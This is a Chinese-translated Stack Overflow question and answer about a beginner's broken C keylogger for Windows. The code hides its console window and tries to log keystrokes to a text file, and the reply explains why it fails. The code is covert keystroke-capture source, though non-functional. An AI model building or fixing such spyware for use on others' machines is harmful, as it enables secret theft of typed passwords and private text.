为什么我的键盘记录器不起作用?

时间:2013-11-23 03:41:21

标签: c winapi

在学习了C语言的基础知识后,我开始学习一些Win API函数。出于教育目的,我决定尝试制作一个简单的键盘记录器。它所做的就是记录键击并将它们保存到.txt文件中。我在网上看过一些例子,但我想按照我的方式(这更简单)。这是我的代码(我不知道它为什么不起作用)(我还没完成):

#include <stdio.h>
#include <windows.h>

int main( void )
{
    short UserInputtedCharacter;
    FILE *LogFile = fopen("log.txt", "a");

    //Hide console window
    HWND HideWindow;
    AllocConsole();
    HideWindow = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(HideWindow, 0);

    while(1)
    {
        GetAsyncKeyState(UserInputtedCharacter);

        switch(UserInputtedCharacter)
        {
            case VK_SPACE:
                fputc(' ', LogFile);
                break;
            case VK_RETURN:
                fputc('\n', LogFile);
                break;
            case VK_BACK:
                fputs("[BACKSPACE]", LogFile);
                break;
            case VK_DELETE:
                fputs("[DEL]", LogFile);
                break;
            case VK_CAPITAL:
                fputs("[CAPS LOCK]", LogFile);
                break;
            case 0x30:
                fputc('0', LogFile);
                break;
            case 0x31:
                fputc('1', LogFile);
                break;
            case 0x32:
                fputc('2', LogFile);
                break;
            case 0x33:
                fputc('3', LogFile);
                break;
            case 0x34:
                fputc('4', LogFile);
                break;
            case 0x35:
                fputc('5', LogFile);
                break;
            case 0x36:
                fputc('6', LogFile);
                break;
            case 0x37:
                fputc('7', LogFile);
                break;
            case 0x38:
                fputc('8', LogFile);
                break;
            case 0x39:
                fputc('9', LogFile);
                break;
            case 0x61:
                fputc('a', LogFile);
                break;
            case 0x62:
                fputc('b', LogFile);
                break;
            case 0x63:
                fputc('c', LogFile);
                break;
            case 0x64:
                fputc('d', LogFile);
                break;
        }
    }
    fclose(LogFile);
    return 0;
}

程序没有将击键保存到.txt文件中。

顺便说一下,程序还远没有完成,我只是想知道它为什么不起作用。

1 个答案:

答案 0 :(得分:3)

你必须解决许多问题。

  1. GetAsyncKeyState不会修改给定的参数。您可以完全按照编写方式删除调用。您的编译器可能会抱怨UserInputtedCharacter在初始化之前被读取。
  2. Windows程序是基于事件的。您should write an event loop并查找WM_KEYDOWN和WM_KEYUP。
  3. 你有一个非常紧凑的循环,将消耗它运行的核心的所有CPU。如果您不想/需要事件循环,请查看getc()或类似内容。
  4. 默认情况下,进程非常孤立。读取每个应用程序的击键很难。
  5. 当然,没有什么是你无法学到的。但想想从一个更简单的项目开始。连接到互联网并转发StackOverflow主页的自包含应用程序应该具有足够的挑战性。